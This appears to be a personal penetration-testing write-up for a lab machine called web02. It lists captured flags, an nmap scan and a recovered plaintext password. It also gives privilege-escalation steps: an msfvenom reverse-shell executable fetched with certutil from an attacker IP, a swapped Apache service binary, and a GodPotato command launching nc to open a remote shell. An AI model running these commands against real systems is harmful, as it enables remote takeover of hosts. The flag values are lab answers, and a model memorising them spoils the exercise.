192.168.154.247 (web02) /

Local Flag:
    C:\local.txt
    1fb30e3a7683e196f62b0ecf1338834e

Root Flag:
    C:\Users\Administrator\Desktop\proof.txt
    9211d22356ea703f54807f51d744faaa

sudo nmap -sV -sC -sT -T4 -A -p- --open 192.168.235.247 -Pn -o target.fullmap247

umbra.pdf content

Interesting credentials

Username	Password
[e-mail]	OathDeeplyReprieve91

Need to modify /etc/hosts?

Username	Password
[e-mail]	OathDeeplyReprieve91

icacls C:\xampp\apache\bin\httpd.exe
icacls C:\xampp\filezillaftp\filezillaserver.exe

Privilege Escalation

On Kali machine:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.158 LPORT=4444 -f exe > revshell.exe

On Victim
cd C:\Windows\Temp\
certutil -urlcache -split -f http://192.168.45.158/revshell.exe revshell.exe

move C:\xampp\apache\bin\httpd.exe C:\Windows\Temp\
move C:\Windows\Temp\revshell.exe C:\xampp\apache\bin\httpd.exe

Priv Escalation (Revised)

GodPotato-NET4.exe -cmd "nc64.exe 192.168.45.200 4448 -e cmd"

nc does actually work with godpotato here. The original run used to wrong syntax when trying toexecure nc with godpotato

Seems like there are 2 approaches to get admin for this machine, which is nice...